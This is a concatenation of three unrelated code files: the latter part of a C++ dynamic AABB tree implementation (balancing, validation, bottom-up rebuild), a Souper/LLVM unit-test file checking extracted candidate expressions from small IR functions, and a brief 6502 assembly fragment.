int32_t index = grandParent; while (index != -1) { index = Balance(index); int32_t child1 = nodes[index].child1; int32_t child2 = nodes[index].child2; nodes[index].aabb = nodes[child1].aabb + nodes[child2].aabb; nodes[index].height = 1 + Max(nodes[child1].height, nodes[child2].height); index = nodes[index].parent; } } else { root = sibling; nodes[sibling].parent = -1; FreeNode(parent); } //Validate(); } // Perform a left or right rotation if node A is imbalanced. // Returns the new root index. int32_t DynamicAABBTree::Balance(int32_t iA) { assert(iA != -1); Node *A = nodes + iA; if (A->IsLeaf() || A->height < 2) { return iA; } int32_t iB = A->child1; int32_t iC = A->child2; assert(0 <= iB && iB < nodeCapacity); assert(0 <= iC && iC < nodeCapacity); Node *B = nodes + iB; Node *C = nodes + iC; int32_t balance = C->height - B->height; // Rotate C up. if (balance > 1) { int32_t iF = C->child1; int32_t iG = C->child2; Node *F = nodes + iF; Node *G = nodes + iG; assert(0 <= iF && iF < nodeCapacity); assert(0 <= iG && iG < nodeCapacity); // Swap A and C. C->child1 = iA; C->parent = A->parent; A->parent = iC; // A's old parent should point to C. if (C->parent != -1) { if (nodes[C->parent].child1 == iA) { nodes[C->parent].child1 = iC; } else { assert(nodes[C->parent].child2 == iA); nodes[C->parent].child2 = iC; } } else { root = iC; } // Rotate. if (F->height > G->height) { C->child2 = iF; A->child2 = iG; G->parent = iA; A->aabb = B->aabb + G->aabb; C->aabb = A->aabb + F->aabb; A->height = 1 + Max(B->height, G->height); C->height = 1 + Max(A->height, F->height); } else { C->child2 = iG; A->child2 = iF; F->parent = iA; A->aabb = B->aabb + F->aabb; C->aabb = A->aabb + G->aabb; A->height = 1 + Max(B->height, F->height); C->height = 1 + Max(A->height, G->height); } return iC; } // Rotate B up. if (balance < -1) { int32_t iD = B->child1; int32_t iE = B->child2; Node *D = nodes + iD; Node *E = nodes + iE; assert(0 <= iD && iD < nodeCapacity); assert(0 <= iE && iE < nodeCapacity); // Swap A and B. B->child1 = iA; B->parent = A->parent; A->parent = iB; // A's old parent should point to B. if (B->parent != -1) { if (nodes[B->parent].child1 == iA) { nodes[B->parent].child1 = iB; } else { assert(nodes[B->parent].child2 == iA); nodes[B->parent].child2 = iB; } } else { root = iB; } // Rotate. if (D->height > E->height) { B->child2 = iD; A->child1 = iE; E->parent = iA; A->aabb = C->aabb + E->aabb; B->aabb = A->aabb + D->aabb; A->height = 1 + Max(C->height, E->height); B->height = 1 + Max(A->height, D->height); } else { B->child2 = iE; A->child1 = iD; D->parent = iA; A->aabb = C->aabb + D->aabb; B->aabb = A->aabb + E->aabb; A->height = 1 + Max(C->height, D->height); B->height = 1 + Max(A->height, E->height); } return iB; } return iA; } int32_t DynamicAABBTree::GetHeight() const { if (root == -1) { return 0; } return nodes[root].height; } float DynamicAABBTree::GetAreaRatio() const { if (root == -1) { return 0.0f; } const Node *rootNode = nodes + root; float rootArea = rootNode->aabb.Area(); float totalArea = 0.0f; for (int32_t i = 0; i < nodeCapacity; ++i) { const Node *node = nodes + i; if (node->height < 0) { // Free node in pool. continue; } totalArea += node->aabb.Area(); } return totalArea / rootArea; } // Compute the height of a sub-tree. int32_t DynamicAABBTree::ComputeHeight(int32_t nodeId) const { assert(0 <= nodeId && nodeId < nodeCapacity); Node *node = nodes + nodeId; if (node->IsLeaf()) { return 0; } int32_t height1 = ComputeHeight(node->child1); int32_t height2 = ComputeHeight(node->child2); return 1 + Max(height1, height2); } int32_t DynamicAABBTree::ComputeHeight() const { int32_t height = ComputeHeight(root); return height; } int32_t DynamicAABBTree::GetMaxBalance() const { int32_t maxBalance = 0; for (int32_t i = 0; i < nodeCapacity; ++i) { const Node *node = nodes + i; if (node->height <= 1) { continue; } assert(node->IsLeaf() == false); int32_t child1 = node->child1; int32_t child2 = node->child2; int32_t balance = Math::Abs(nodes[child2].height - nodes[child1].height); maxBalance = Max(maxBalance, balance); } return maxBalance; } void DynamicAABBTree::ValidateStructure(int32_t index) const { if (index == -1) { return; } if (index == root) { if (nodes[index].parent != -1) { BE_WARNLOG("DynamicAABBTree::ValidateStructure: root has parent\n"); } } const Node *node = nodes + index; int32_t child1 = node->child1; int32_t child2 = node->child2; if (node->IsLeaf()) { if (child1 != -1 || child2 != -1 || node->height != 0) { BE_WARNLOG("DynamicAABBTree::ValidateStructure: invalid leaf\n"); } return; } if (child1 < 0 || child1 >= nodeCapacity || nodes[child1].parent != index) { BE_WARNLOG("DynamicAABBTree::ValidateStructure: invalid node child1\n"); } if (child2 < 0 || child2 >= nodeCapacity || nodes[child2].parent != index) { BE_WARNLOG("DynamicAABBTree::ValidateStructure: invalid node child2\n"); } ValidateStructure(child1); ValidateStructure(child2); } void DynamicAABBTree::ValidateMetrics(int32_t index) const { if (index == -1) { return; } const Node *node = nodes + index; int32_t child1 = node->child1; int32_t child2 = node->child2; if (node->IsLeaf()) { if (child1 != -1 || child2 != -1 || node->height != 0) { BE_WARNLOG("DynamicAABBTree::ValidateMetrics: invalid leaf\n"); } return; } if (child1 < 0 || child1 >= nodeCapacity) { BE_WARNLOG("DynamicAABBTree::ValidateMetrics: invalid node child1\n"); } if (child2 < 0 || child2 >= nodeCapacity) { BE_WARNLOG("DynamicAABBTree::ValidateMetrics: invalid node child2\n"); } int32_t height1 = nodes[child1].height; int32_t height2 = nodes[child2].height; int32_t height = 1 + Max(height1, height2); assert(node->height == height); AABB aabb = nodes[child1].aabb + nodes[child2].aabb; assert(aabb.b[0] == node->aabb.b[0]); assert(aabb.b[1] == node->aabb.b[1]); ValidateMetrics(child1); ValidateMetrics(child2); } void DynamicAABBTree::Validate() const { ValidateStructure(root); ValidateMetrics(root); int32_t freeCount = 0; int32_t freeIndex = freeList; while (freeIndex != -1) { assert(0 <= freeIndex && freeIndex < nodeCapacity); freeIndex = nodes[freeIndex].next; ++freeCount; } assert(GetHeight() == ComputeHeight()); assert(nodeCount + freeCount == nodeCapacity); } #pragma optimize("", on) void DynamicAABBTree::RebuildBottomUp() { if (nodeCount == 0) { return; } int32_t *nodeIndexes = (int32_t *)Mem_Alloc(nodeCount * sizeof(int32_t)); int32_t count = 0; // Build array of leaves. Free the rest. for (int32_t i = 0; i < nodeCapacity; ++i) { if (nodes[i].height < 0) { // Free node in pool. continue; } if (nodes[i].IsLeaf()) { nodes[i].parent = -1; nodeIndexes[count] = i; ++count; } else { FreeNode(i); } } while (count > 1) { float minCost = FLT_MAX; int32_t iMin = -1, jMin = -1; for (int32_t i = 0; i < count; ++i) { AABB aabbi = nodes[nodeIndexes[i]].aabb; for (int32_t j = i + 1; j < count; ++j) { AABB aabbj = nodes[nodeIndexes[j]].aabb; AABB b = aabbi + aabbj; float cost = b.Area(); if (cost < minCost) { iMin = i; jMin = j; minCost = cost; } } } int32_t index1 = nodeIndexes[iMin]; int32_t index2 = nodeIndexes[jMin]; Node *child1 = nodes + index1; Node *child2 = nodes + index2; int32_t parentIndex = AllocNode(); Node *parent = nodes + parentIndex; parent->child1 = index1; parent->child2 = index2; parent->height = 1 + Max(child1->height, child2->height); parent->aabb = child1->aabb + child2->aabb; parent->parent = -1; child1->parent = parentIndex; child2->parent = parentIndex; nodeIndexes[jMin] = nodeIndexes[count - 1]; nodeIndexes[iMin] = parentIndex; count--; } root = nodeIndexes[0]; Mem_Free(nodeIndexes); Validate(); } #pragma optimize("", off) BE_NAMESPACE_END
// Copyright 2014 The Souper Authors. All rights reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #include "llvm/AsmParser/Parser.h" #include "llvm/IR/LLVMContext.h" #include "llvm/IR/Module.h" #include "llvm/Support/SourceMgr.h" #include "souper/Extractor/Candidates.h" #include "souper/Extractor/ExprBuilder.h" #include <memory> #include "gtest/gtest.h" using namespace llvm; using namespace souper; LLVMContext C; struct ExtractorTest : testing::Test { std::unique_ptr<Module> M; InstContext IC; ExprBuilderContext EBC; FunctionCandidateSet CS; std::vector<std::string> CandExprs; bool extractFromIR(const char *IR) { SMDiagnostic Err; M = parseAssemblyString(IR, Err, C); if (!M.get()) { Err.print("ExtractorTest", errs()); return false; } if (M->size() != 1) { EXPECT_EQ(1u, M->size()); return false; } ExprBuilderOptions Opts; Opts.NamedArrays = true; CS = ExtractCandidates(&*M->begin(), IC, EBC, Opts); for (auto &B : CS.Blocks) { for (auto &R : B->Replacements) { if (R.Mapping.LHS->Width > 1) continue; std::vector<Inst *>Guesses { IC.getConst(APInt(1, false)), IC.getConst(APInt(1, true)) }; for (auto I : Guesses) { R.Mapping.RHS = I; std::unique_ptr<ExprBuilder> EB = createKLEEBuilder(IC); std::string Cand = EB->GetExprStr(R.BPCs, R.PCs, R.Mapping, 0); CandExprs.emplace_back(Cand); } } } return true; } bool hasCandidate(std::string Expected) { for (auto &B : CS.Blocks) { for (auto &R : B->Replacements) { if (R.Mapping.LHS->Width > 1) continue; std::string Str; llvm::raw_string_ostream SS(Str); R.print(SS, /*printNames=*/true); if (SS.str() == Expected) return true; } } return false; } bool hasCandidateExpr(std::string Expected) { for (const auto &Cand : CandExprs) { if (Cand == Expected) return true; } return false; } }; TEST_F(ExtractorTest, Simple) { ASSERT_TRUE(extractFromIR(R"m( define i1 @f(i32 %p, i32 %q) { %ult = icmp ult i32 %p, %q %add = add i32 %p, %q %ult1 = icmp ult i32 %p, %add %and = or i1 %ult, %ult1 ret i1 %and } )m")); EXPECT_TRUE(hasCandidateExpr("(Ult (Read w32 0 p) (Read w32 0 q))")); EXPECT_TRUE( hasCandidateExpr("(Eq false (Ult (Read w32 0 p) (Read w32 0 q)))")); EXPECT_TRUE( hasCandidateExpr("(Ult N0:(Read w32 0 p) (Add w32 N0 (Read w32 0 q)))")); } TEST_F(ExtractorTest, Nsw) { ASSERT_TRUE(extractFromIR(R"m( define i1 @f(i32 %p, i32 %q) { %add = add nsw i32 %p, %q %ult = icmp ult i32 %p, %add ret i1 %ult } )m")); EXPECT_TRUE(hasCandidateExpr( "(Or (And (Eq N0:(Extract 0 (AShr w32 N1:(Read w32 0 p) 31)) (Extract 0 " "(AShr w32 N2:(Read w32 0 q) 31))) (Eq false (Eq N0 (Extract 0 (AShr w32 " "N3:(Add w32 N1 N2) 31))))) (Ult N1 N3))")); } TEST_F(ExtractorTest, PhiCond) { ASSERT_TRUE(extractFromIR(R"m( define i1 @f(i32 %p, i32 %q) { entry: br i1 undef, label %t, label %f t: %paq = add i32 %p, %q br label %cont f: %pmq = mul i32 %p, %q br label %cont cont: %phi = phi i32 [ %paq, %t ], [ %pmq, %f ] %ult = icmp ult i32 %p, %phi ret i1 %ult } )m")); EXPECT_TRUE(hasCandidateExpr( "(Ult N0:(Read w32 0 p) (Select w32 (Read 0 blockpred) (Add w32 N0 " "N1:(Read w32 0 q)) (Mul w32 N0 N1)))")); } TEST_F(ExtractorTest, PhiLoop) { ASSERT_TRUE(extractFromIR(R"m( define void @f(i32 %p, i32 %q) { entry: br label %loop loop: %phi = phi i32 [ %phia1, %loop ], [ 0, %entry ] %phia1 = add i32 %phi, 1 %eq = icmp eq i32 %phia1, 42 br i1 %eq, label %cont, label %loop cont: ret void } )m")); EXPECT_TRUE(hasCandidate(R"c(%0:i32 = var (range=[0,42)) ; phi %1:i32 = add 1:i32, %0 (hasExternalUses) %2:i1 = eq 42:i32, %1 cand %2 1:i1 )c")); // %phia1 has external uses. } TEST_F(ExtractorTest, PathCondition) { // Expected equivalence classes are {p, q, r} and {s}. ASSERT_TRUE(extractFromIR(R"m( define i1 @f(i1 %p, i1 %q, i1 %r, i1 %s) { entry: %pq = and i1 %p, %q br i1 %pq, label %bb1, label %u bb1: %qr = and i1 %q, %r br i1 %qr, label %u, label %bb2 bb2: br i1 %r, label %bb3, label %u bb3: br i1 %s, label %bb4, label %u bb4: %cmp1 = icmp eq i1 %p, true %cmp2 = icmp eq i1 %s, true %or = or i1 %cmp1, %cmp2 ret i1 %or u: unreachable } )m")); EXPECT_TRUE(hasCandidate(R"c(%0:i1 = var ; p %1:i1 = var ; q %2:i1 = and %0, %1 pc %2 1:i1 %3:i1 = var ; r %4:i1 = and %1, %3 pc %4 0:i1 pc %3 1:i1 %5:i1 = eq 1:i1, %0 cand %5 1:i1 )c")); EXPECT_TRUE(hasCandidate(R"c(%0:i1 = var ; s pc %0 1:i1 %1:i1 = eq 1:i1, %0 cand %1 1:i1 )c")); } TEST_F(ExtractorTest, ExternalUses) { // Expected equivalence classes are {p, q, r} and {s}. ASSERT_TRUE(extractFromIR(R"m( @amem = common global i1 0, align 4 @bmem = common global i1 0, align 4 @cmem = common global i1 0, align 4 define i1 @foo(i1 %x) { entry: store i1 %x, i1* @amem, align 4 %a = add i1 %x, 0 store i1 %a, i1* @amem, align 4 %b = add i1 %a, 0 store i1 %b, i1* @bmem, align 4 %c = add i1 %b, 0 store i1 %c, i1* @cmem, align 4 %d = add i1 %c, 0 ret i1 %d } )m")); EXPECT_TRUE(hasCandidate(R"c(%0:i1 = var ; x %1:i1 = add 0:i1, %0 (hasExternalUses) %2:i1 = add 0:i1, %1 (hasExternalUses) %3:i1 = add 0:i1, %2 (hasExternalUses) %4:i1 = add 0:i1, %3 cand %4 1:i1 )c")); } TEST_F(ExtractorTest, NoExternalUses) { // Expected equivalence classes are {p, q, r} and {s}. ASSERT_TRUE(extractFromIR(R"m( define i1 @foo(i1 %x) { entry: %a = add i1 %x, 0 %b = add i1 %a, 0 %c = add i1 %b, 0 %d = add i1 %c, 0 ret i1 %d } )m")); EXPECT_TRUE(hasCandidate(R"c(%0:i1 = var ; x %1:i1 = add 0:i1, %0 %2:i1 = add 0:i1, %1 %3:i1 = add 0:i1, %2 %4:i1 = add 0:i1, %3 cand %4 1:i1 )c")); } TEST_F(ExtractorTest, PartialExternalUses) { // Expected equivalence classes are {p, q, r} and {s}. ASSERT_TRUE(extractFromIR(R"m( define i1 @foo(i1 %x) { entry: %a = add i1 %x, 0 %b = add i1 %a, %x %c = add i1 %b, %a ret i1 %c } )m")); EXPECT_TRUE(hasCandidate(R"c(%0:i1 = var ; x %1:i1 = add 0:i1, %0 cand %1 1:i1 )c")); EXPECT_TRUE(hasCandidate(R"c(%0:i1 = var ; x %1:i1 = add 0:i1, %0 (hasExternalUses) %2:i1 = add %0, %1 cand %2 1:i1 )c")); EXPECT_TRUE(hasCandidate(R"c(%0:i1 = var ; x %1:i1 = add 0:i1, %0 %2:i1 = add %0, %1 %3:i1 = add %1, %2 cand %3 1:i1 )c")); }
lda {m1} sta $fe lda {m1}+1 sta $ff lda ($fe),y bne {la1} iny lda ($fe),y bne {la1}